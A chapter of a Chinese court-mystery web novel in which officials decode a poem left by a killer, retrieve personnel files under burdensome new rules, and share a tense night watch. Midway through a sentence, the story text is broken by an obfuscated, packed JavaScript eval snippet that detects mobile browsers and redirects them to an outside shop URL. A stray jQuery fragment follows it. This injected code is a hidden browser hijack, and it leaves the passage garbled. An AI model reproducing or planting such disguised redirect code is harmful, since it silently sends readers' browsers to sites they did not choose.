何佼月和杨铮寂无言以对。
大周重武轻文,他们二人自幼学习的东西从来就没有诗赋这一项。果真这就遭报应了。
倒是陈鹿溪这从小一边种菜一边读书的文人,学得很精深,足以做他二人的学塾师父了。
“本官可得声明,”何佼月清了清嗓,大声道,“本官对于陛下及先皇的诏令、大周的法条、典章制度、朝政的纲领,可皆是倒背如流的,随口便能援引。”
其实根本也没人问她。
杨铮寂问陈鹿溪:“陈下士能否将《思旧赋》的来龙去脉清晰道来?”
陈鹿溪便说,《思旧赋》是悼友之作。
此文是魏晋名士向秀所作,他的挚友嵇康和吕安被篡魏的司马氏所杀,向秀作此赋以哀悼友人,又暗中抒发了司马氏的不满。赋中有一句话是:“悼嵇生之永辞兮,顾日影而弹琴。”
凶手留下的“悼晢川之永辞兮,筑飞梁而映日”,正好可以与之对应上。
何佼月回忆了一下,有了依稀印象:“我听闻过一些轶事,向秀是那个不爱沐浴、浑身长虱子的名士吗?”
陈鹿溪:“那是嵇康。”
何佼月又问:“那喜好打铁的呢?”
陈鹿溪:“也是嵇康。”
“那写信与一个友人绝交、死前却还把儿子托付给那位友人的呢?”
“还是嵇康……”
“我想到了,向秀是那个喝酒不用杯盏,而用大盆,甚至与猪同饮的人。”
“那是阮咸……”
“那,还有一个名士嗜酒,出游时命仆役扛锹跟随,称‘醉死便埋’,那总是向秀了吧?”
“那是刘伶!”
杨铮寂打断何佼月:“不必再献丑。求你。”
陈鹿溪瞪大眼,不想对她不敬,可忍了又忍,终是没忍住:“何尚宫,要不还是仔细看几卷书呢?”
何佼月:“……”
她面色憋屈,小发雷霆一下:“秋官府这地界好生了得啊,人人都敢对本官不敬,但凡换个气量狭小之人,你可就惨——”
杨铮寂打断她的小耍官威:“陈下士,你继续说。”
陈鹿溪便接着解释:
凶手特意选择了《思旧赋》,应当就是借了此赋的意旨,也即哀悼友人。凶手保留了原句的句法,只改动了几个字,可能意味着凶手杀死于雁,是为自己的友人报仇。而“晢川”,应当是凶手友人的名;“筑飞梁而映日”可能表示,这位晢川仁兄,曾在日光的映照下筑造桥梁。
何佼月嘟囔道:“我还以为‘晢川’是一条河川……”
陈鹿溪又说:“‘晢’字意为光明、明亮,也可通假‘哲’字。”
何佼月恍然大悟:“竟不是‘哲’字啊!我竟从一开始就认成了‘哲’字……”
陈鹿溪连尸体都没见过,仅凭一张麻纸就看出这许多,他的推断,也符合他们说凶手杀人是在复仇泄愤的判断。
陈鹿溪着实有些能耐。
只是于夫人说于雁不曾得罪过什么人,结仇一事更是无从谈起。
当然于夫人与他成婚仅两年,很多事也未必知晓。
“于雁为官的记录去吏部调来。”杨铮寂手书一封调阅函,交给胥吏。
胥吏领了调阅函便跑出门去。
陈鹿溪也猛地站起身,昂首挺胸地迈步出去,坚毅得像是要去打仗。
何佼月:“你也要去吏部?”
陈鹿溪淡然:“非也,下官去看一眼种的菜。南无阿弥陀佛护佑一畦菜蔬。”
何佼月:“?……”
“何尚宫也有意来看看?”
“不去了……”
——————————
去取卷宗的胥吏,回布宪司时苦着脸汇报:
“吏部的僚属称,有调阅函不足够,要请主理此案的大人亲自带着印信过去才行。”
杨铮寂便亲自去了一趟夏官府。
这次,吏部大夫亲自迎接杨铮寂,讪讪地赔笑:
“这个……何尚宫也是主理官,也得亲自前来。方才是僚属嘴笨,没说明白。杨大人见谅,见谅……”
杨铮寂:“。”
流程繁琐至极,防自己人如防贼。
于是又让人去通知何佼月。
杨铮寂便干等着。
吏部大夫早闻杨铮寂不近人情的威名,早听说他像行走阳间的黑无常,像活的斧钺刑具,还听说他剿匪时看了一眼就把贼首的腿看断了。
对最后一个传言,吏部大夫是有些信的。
吏部大夫害怕他发怒,不敢轻易同他搭话。
杨铮寂更是无心与人寒暄。
于是两人沉默……沉默……沉默……
尴尬无比。
气氛冻得像寒冬腊月的冰。
何佼月在路上时心中不住地嘀咕:
大周官职制度仍有缺陷。
就比方说这个夏官府的权限实在过大,举国的军事、战略、武备、官吏调动事宜皆归夏官府管辖。
这合理吗?
尤其是吏部在夏官府显得格格不入。它为何要放在执掌军事武备的夏官府?合该独立出来才是。
可何佼月一进夏官府的大门,便反过来关怀吏部大夫,迫不及待地向他行礼道:
“是在下来迟了,让大人等得好生辛苦,在下给大人赔罪!下回,在下必快马加鞭赶来!”
满屋寒冬腊月的冰碎裂尽净。
吏部大夫诚惶诚恐:“不敢当不敢动,何尚宫言重!我也是无奈,若非夏官府出了好些新规,我如何敢劳动何尚宫与杨大人?”
杨铮寂撩起眼皮:“新规?”
吏部大夫看了看周遭,确认无人,才压低声音诉苦:
“近来夏官府里多了好些严苛的新规矩,都是小司马设立的,用以约束官吏,还要计算官吏办成的事、做出的功绩。每一月考核等地最低者,罚俸;每三月考核等地最低者,革职!上个月,当真革了一个小官的职啊……夏官府中人人自危,在下亦不敢不从。可小司马倒好,美其名曰《考功法》,还说在夏官府中只是试行,若行得通,便要请旨在全国推行!悠悠苍天,此何人哉!”
小司马苏震,乃是已故的美阳伯、大行台度支尚书苏绰之子,是夏官府中位列第二的长官,如今五十余岁了,一向行峻言厉,待人待己都很苛刻,连皇帝都不敢拂他的面子,被他犯颜直谏时,也不会发作。
何佼月疑惑地问:“不对吧,夏官府中随处都是世族和勋贵子弟,难道个个都受《考功法》的考核?”
吏部大夫:“脾气最大的、最位高权重的,自然不服管。可我是软骨头,我哪里敢违逆小司马。”
杨铮寂更是抓住了事情的关键:“小司马自身就是勋贵之后,他可会考核自身?”
吏部大夫用几不可闻的气声飞快道:“小司马自己起得比鸡早、睡得比狗晚,眼里除了办差就是办差,他倒是能通得过最严苛的考核。可他有高官厚禄甘愿当牛做马便也罢了,我等寻常臣僚哪里能做得到这份上?”
何佼月劝道:“我们不会让大人为难,《考功法》的规矩,我们照做便是。”
于是,杨铮寂与何佼月,在洗手焚香后才进入案牍库,又在吏部大夫寸步不离的监视下取出了相应的卷宗,各自签字、画押、盖章。
仍没结束,吏部大夫说:“接下来,我为二位大人讲述如何使用卷宗。毕竟,若卷宗返还时有破损,我还是得被罚俸。第一,不可沾油污;第二,不可靠近烛火;第三,不可放置于阴湿处……”
——————————————
卷宗取回了布宪司。
第二日,五月十七,一整日里布宪司都充满了纸张翻动的声响。
何佼月和众多胥吏一同查阅与死者相关的书信、公文、奏折、卷宗等等,找出所有与之有龃龉者,包括争吵、威胁、钱财往来、官爵竞争、男女之情,不一而足。所有文书工作由陈鹿溪领衔整合与统筹。
杨铮寂则带人出去访问于雁的其他亲友。
至日落后杨铮寂才回来。可惜他查问尚未得到太多成果。没有人知道凶手将于雁骗到何处杀死。
夜里,油灯和蜡烛不停地添,将屋内照得明晃晃的。
众僚属轮班休憩。杨铮寂天生就少眠,一日只睡二三个时辰也不会困倦,于是他干脆值夜。
何佼月也自告奋勇要值夜。
夜深时金励心中焦躁上涌,不禁问道:“我们当真能在一月之内破案吗?”
何佼月开导他:“这才刚开始,又不是绝境。”
金励说:“下官从未接触过此等大案,下官担忧此案中处处是绝境。”
何佼月搬出一堆大道理:“很多时候看似是绝境,可实则也有无数破局之法,天无绝人之路。你可曾听闻过那个故事——近三十年前齐神武
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726584|208862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
帝高欢出征大败,班师途中又重病,军中谣传其将亡,人心惶惶。高欢便带病设宴,又命大将斛律金歌唱《敕勒歌》,歌谣打动了诸将士,军心大振,成功稳住了局势。你,可能明白我的意思?”
金励若有所思地点点头:“下官明白了,凡是成大事之人,都要有坚韧不拔的心境,下官得多加修炼。想来高欢若长久保有这坚韧的意志,假以时日,总能克敌制胜——”
“你疯了?”
杨铮寂忍无可忍。
“高欢的敌就是我大周将士。”
失言失言,金励立即打了自己一嘴巴。
杨铮寂冷声道:“能破案。闭上嘴。歇息去。”
金励灰溜溜地走了。
等金励一走,何佼月就忍不住真情流露,转身对杨铮寂焦躁地说:
“我从未接触过此等大案,我担忧此案中处处是绝境啊!”
杨铮寂:“……”
还真当她有多通透呢。
原来全是装的。
演得是真像。
杨铮寂本想问她一句“那又何必充豪杰”,可他转念一想:说到底,她毕竟只是个年轻的小娘子,不论看起来多么有本事,但这查案的担子于她而言,着实太重了。
于是杨铮寂温和而坚定地重复了一遍:“必能破案。你也闭上嘴。去歇息吧。”
何佼月挠着头,挠断了好几根头发:“可我着实苦恼。”
杨铮寂:“别苦恼。”
何佼月:“你怎么不问我的苦恼有哪些。”
杨铮寂:“别苦恼。稳住心神。”
可何佼月的思虑仍止不住,很多未弄懂的小细节,全都浮上来,她喋喋不休道:
“我苦恼的有很多,例如‘晢川’仁兄既然曾经在日光的映照下造桥,那么他是什么身份,是负责营造的官吏吗,还是石匠,抑或是民夫?”
“死者的头发里掺着的白底碎屑,上有红和黑的颜色,边缘沾着细微的金色的色泽,那究竟是何物?”
“以及最紧要的:凶案究竟发生在何地?”
“偌大的京畿之地,如何才能找到案发地?此事真是一点线索都没有。”
“所以我说此案艰难,一开场便陷入了僵局。”
“我当真不知该如何是好了……”
“陛下很忧虑此案,若是期限内无法破案,陛下会、陛下会大发雷霆……”
她瑟缩着不愿再说下去。
伴君如伴虎,她不敢行差踏错半步以致失了君心。
杨铮寂看着她,目光沉冷,嗓音平稳道:“手放下去。”
何佼月愣住,茫然不解。
杨铮寂说:“将手从头发上拿走。”
于是何佼月不再使劲挠头皮了,而是垂着脑袋叹气。
杨铮寂:“看着我。”
何佼月瞧了一下他,又烦乱地移开眼珠。
杨铮寂强硬地、一字一顿地凛然道:“抬起眼。看着我。”
声音冷冽如寒潭浸玉,威严如沉雷,不疾不徐,却压得人战栗。
何佼月一激灵,竖起耳凝神细听。
杨铮寂不苟言笑,沉稳道:
“你要笃信,世间案件总能水落石出,公道总能昭彰。只是时日早晚的分别。”
“倘若一月内此案无法告破,我自会上书陈情,罪责由我一人承担。”
“你不会受牵连。陛下发怒又与你又何干?”
冷着脸,语气也强硬,却净说些替她担责的话。
且他如此坚定、刚强,如巍巍玉山。
众人皆心焦之时,他就是定海神针、是中流砥柱,任千磨万击课自身却岿然不动。
若布宪司失了他,便失了主心骨。
何佼月注视着他漆黑如深潭的眼眸,不知为何,感觉自己像是被那清冷的潭水所洗筋伐髓了一般,心神也逐渐安定下来,又像是受了他的蛊惑,不由自主地、下意识地点了一下头。
杨铮寂确认她听进去了,继续说:
“夜深时人难免多思多虑,焦躁与忧郁比白日更甚。此乃常情。”
“你心中的困扰,此刻愈想只会愈烦乱。搁置下,明日再议。”
“即刻去歇息。”
“莫要让我再重复一遍。”
何佼月像被催眠了。
她感到困倦逐渐翻涌上来,眼皮变得沉重。她乖乖回到内室中去,沾枕即遁入黑甜乡。